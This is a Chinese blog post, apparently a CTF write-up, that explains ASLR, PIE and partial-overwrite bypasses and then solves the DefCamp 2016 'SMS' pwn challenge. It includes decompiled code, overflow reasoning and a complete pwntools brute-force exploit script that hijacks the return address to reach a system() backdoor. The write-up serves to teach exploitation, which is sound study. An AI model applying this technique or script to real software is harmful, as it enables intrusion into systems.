PIE绕过

1:ASLR简单介绍

ASLR(地址随机化)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。可以理解为libc、栈、堆的加载位置被随机化。并没有对所有模块和内存区都进行随机化

2:PIE

PIE(position-independent executable, 地址无关可执行文件)技术就是一个针对代码段.text, 数据段.*data,.bss等固定地址的一个防护技术弥补了ASLR的不足。同ASLR一样,应用了PIE的程序会在每次加载时都变换加载基址,从而使位于程序本身的gadget(代码区)也失效。

没有PIE保护的程序,每次加载的基址都是固定的

hunter@hunter:~/PWN$ checksec  h2
[*] '/home/hunter/PWN/h2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64位基地址:0x400000

hunter@hunter:~/PWN$ checksec level1
[*] '/home/hunter/PWN/level1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

32位基地址:0x8048000

开启PIE

第一次:

   0x562ddaa35a72:    mov    esi,0x80
   0x562ddaa35a77:    mov    rdi,rax
   0x562ddaa35a7a:    call   0x562ddaa357b0
=> 0x562ddaa35a7f:    mov    DWORD PTR [rbp-0x4],0x0
   0x562ddaa35a86:    jmp    0x562ddaa35aac
   0x562ddaa35a88:    mov    eax,DWORD PTR [rbp-0x4]
   0x562ddaa35a8b:    cdqe   
   0x562ddaa35a8d:    movzx  ecx,BYTE PTR [rbp+rax*1-0x90]

第二次:

   0x5610c0b62a72:    mov    esi,0x80
   0x5610c0b62a77:    mov    rdi,rax
   0x5610c0b62a7a:    call   0x5610c0b627b0
=> 0x5610c0b62a7f:    mov    DWORD PTR [rbp-0x4],0x0
   0x5610c0b62a86:    jmp    0x5610c0b62aac
   0x5610c0b62a88:    mov    eax,DWORD PTR [rbp-0x4]
   0x5610c0b62a8b:    cdqe   
   0x5610c0b62a8d:    movzx  ecx,BYTE PTR [rbp+rax*1-0x90]

可以看到两次加载的基址是不一样的。
显然,PIE的应用给ROP技术造成了很大的影响。但是由于某些系统和缺陷,其他漏洞的存在和地址随机化本身的问题,方法还是有的。

3:partial write bypass PIE

partial write(部分写入)就是一种利用了PIE技术缺陷的bypass技术。由于内存的页载入机制,PIE的随机化只能影响到单个内存页。通常来说,一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后12位,3个十六进制数的地址是始终不变的。因此我们找到目标地址的后三个十六进制数,然后想办法将返回地址(被压入的ip)后三个十六进制数覆盖成目标地址,从而达到劫持程序流程的目的

4:实操

程序是DefCamp CTF Finals 2016: SMS (pwn 200)

1:checksec

hunter@hunter:~/PWN/PIE$ checksec sms
[*] '/home/hunter/PWN/PIE/sms'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

2:IDA

main函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
  puts(
    "--------------------------------------------\n"
    "|   Welcome to Defcamp SMS service          |\n"
    "--------------------------------------------");
  dosms();
  return 0;
}

dosms函数:
int dosms()
{
  char v1; // [rsp+0h] [rbp-C0h]     
  int v2; // [rsp+8Ch] [rbp-34h]
  int v3; // [rsp+B4h] [rbp-Ch]

  memset(&v2, 0, 40uLL);    #将v2地址处清零
  v3 = 140;
  set_user((__int64)&v1);
  set_sms((__int64)&v1);
  return puts("SMS delivered");
}

set_user((__int64)&v1)函数:
int __fastcall set_user(__int64 a1)
{
  char s[140]; // [rsp+10h] [rbp-90h]
  int i; // [rsp+9Ch] [rbp-4h]

  memset(s, 0, 128uLL);
  puts("Enter your name");
  printf("> ", 0LL);
  fgets(s, 128, _bss_start);
  for ( i = 0; i <= 40 && s[i]; ++i )
    *(_BYTE *)(a1 + i + 140) = s[i];
  return printf("Hi, %s", a1 + 140);
}

set_sms((__int64)&v1)函数:
char *__fastcall set_sms(__int64 a1)
{
  char s; // [rsp+10h] [rbp-400h]

  memset(&s, 0, 1024uLL);
  puts("SMS our leader");
  printf("> ", 0LL);
  fgets(&s, 1024, _bss_start);
  return strncpy((char *)a1, &s, *(signed int *)(a1 + 180));
}

frontdoor函数:
int frontdoor()
{
  char s; // [rsp+0h] [rbp-80h]

  fgets(&s, 128, _bss_start);
  return system(&s);
}

那么可以看出程序大概是:先输出菜单,执行dosms函数。dosms中set_user获取名字,set_sms再次输入。我们要想办法控制程序执行frondoor这个后门。

3:set_user((__int64)&v1)函数

set_user((__int64)&v1)函数:
int __fastcall set_user(__int64 a1)         #这个函数的参数是dosms函数中char v1的地址,在dosmsm函数中定义了char v1后,通过伪代码可知其位于[rbp-C0h]
{                                           #在这个函数&v1参数被写成a1(是个地址)
  char s[140]; // [rsp+10h] [rbp-90h]
  int i; // [rsp+9Ch] [rbp-4h]

  memset(s, 0, 128uLL);                     #数组s,128字节大小范围清零
  puts("Enter your name");
  printf("> ", 0LL);
  fgets(s, 128, _bss_start);             #从标准输入流读取128个字符到s(地址),128如果太大就放入空字符
  for ( i = 0; i <= 40 && s[i]; ++i )     #这个是s[i]应该不会是0(大胆猜测),然后就会循环41次,将s,0~40标号字符赋给a1(v1)地址处,从其140标号~180标号
    *(_BYTE *)(a1 + i + 140) = s[i];
  return printf("Hi, %s", a1 + 140);
}

4:set_sms((__int64)&v1)函数

fastcall是一种函数调用方式,在这里没啥用

set_sms((__int64)&v1)函数:
char *__fastcall set_sms(__int64 a1)               #一样,a1是dosms函数中v1的地址,作为该函数的参数,v1地址位于[rbp-C0h]
{
  char s; // [rsp+10h] [rbp-400h]

  memset(&s, 0, 1024uLL);                      #数组s,1024字节清零
  puts("SMS our leader");
  printf("> ", 0LL);
  fgets(&s, 1024, _bss_start);                 #从标准输入流读取1024个字符到s地址
  return strncpy((char *)a1, &s, *(signed int *)(a1 + 180));     #strncpy将从s地址处将其字符串赋值到a1(v1)地址,赋值的量得看第三个参数的大小
}                                                                #即a1(v1)+180地址存放的数值将决定 strncpy函数一次赋值字符串的多少

那么显然如果strncpy可能存在溢出,只要a1(v1)+180地址处的数值比较大,就可以溢出a1(v1地址),v1其位于[rbp-C0h]。而rbp下面就是返回地址。

*所以得再v1地址开始覆盖:0xc0 + 8(rbp) 个字符 == 200 后面再覆盖返回地址即可控制程序 *

5:综上

set_user((int64)&v1)函数可以对a1(v1)+180地址处进行赋值,使其赋为0xca (202)。这样set_sms((int64)&v1)函数就可以往a1(v1)地址读入0xca(202) 个字符。这样就可以来控制程序返回地址了。
为什么是202个字符,结合上面的PIE地址特点。最后面两个字节(16位)会占用后4个十六进制数(小端序)而不变的是后三个十六进制数,所以我们构造的倒数第四个十六进制数需要多次执行程序碰到刚好符合的地址。不可能放201个字符因为最后一个字节只能控制两个十六进制数。

因为那个倒数第四个数需要多次执行才可能碰到所以我们要进行循环爆破,但也就0~f这几种情况,爆破次数应该不会很大,可以接受。

后门的特征地址:

.text:0000000000000900 push    rbp
.text:0000000000000901 mov     rbp, rsp
.text:0000000000000904 add     rsp, 0FFFFFFFFFFFFFF80h ; Add
.text:0000000000000908 mov     rdx, cs:__bss_start ; stream
.text:000000000000090F lea     rax, [rbp+s]    ; Load Effective Address
.text:0000000000000913 mov     esi, 80h        ; n
.text:0000000000000918 mov     rdi, rax        ; s
.text:000000000000091B call    _fgets          ; Call Procedure
.text:0000000000000920 lea     rax, [rbp+s]    ; Load Effective Address
.text:0000000000000924 mov     rdi, rax        ; command
.text:0000000000000927 call    _system         ; Call Procedure
.text:000000000000092C nop                     ; No Operation
.text:000000000000092D leave                   ; High Level Procedure Exit
.text:000000000000092E retn                    ; Return Near from Pro

所以200个padding后面 应该如此构造:’\x00’ + ‘\x99’ (小端序倒着存)后面这个x99第一个9就是猜的,随便一个都行。
所以主要exp因该是:

    payload1 = 'A'*40 +'\xca' 
    sh.sendline(payload1)

 payload2 = 'A'*200  + '\x00\x99'
    sh.sendline(payload2)

但是很可惜这是错的!!!为啥?因为你在payload2上放了一个\x00这难道不会被strncpy当作截断符吗???
所以往后面调一下:\x01\x99

6:EXP

from pwn import*
from time import sleep    #引入time模块的sleep函数可以让爆破过程放慢,我们看到清楚一点
#context.log_level = 'debug'

for i in range(256):     #256,也可以小一点

        i += 1             
        print i             #可以显示爆破次数
        sh = process('./sms')
    sh.recv()
    sleep(0.1)
    #gdb.attach(sh)

    #set_user
    payload1 = 'A'*40 +'\xca'    #set_user((__int64)&v1)函数循环赋值41次最后的'\xca'就是为覆盖返回地址准备的
    sh.sendline(payload1)
    sh.recv()
    sleep(0.1)

    #set_sms
    payload2 = 'A'*200  + '\x01\x99'
     #gdb.attach(sh)
    sh.sendline(payload2)
    sh.recv()
    sleep(0.1)
    try: 

         #sh.sendline("/bin/sh\x00")
        sh.sendline('cat sms.py\x00')    #这里我直接cat 本地文件了,也可以用/bin/sh,我跟倾向于cat 文件 比较明了。
        sleep(0.5)
        print sh.recv()                  #print sh.recv() 这个操作可以多学习
        #sh.interactive()
        break
    except:
        sh.close()
        continue


成功!!!


  转载请注明: Squarer PIE绕过

 上一篇
xctf-challenge-stack2 xctf-challenge-stack2
1:checksec[*] '/home/hunter/PWN/XCTF/xctf_challenge/stack2' Arch: i386-32-little RELRO: Partial RELRO
2020-07-15
下一篇 
wiki-canary绕过 wiki-canary绕过
1:介绍我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址
2020-07-12
  目录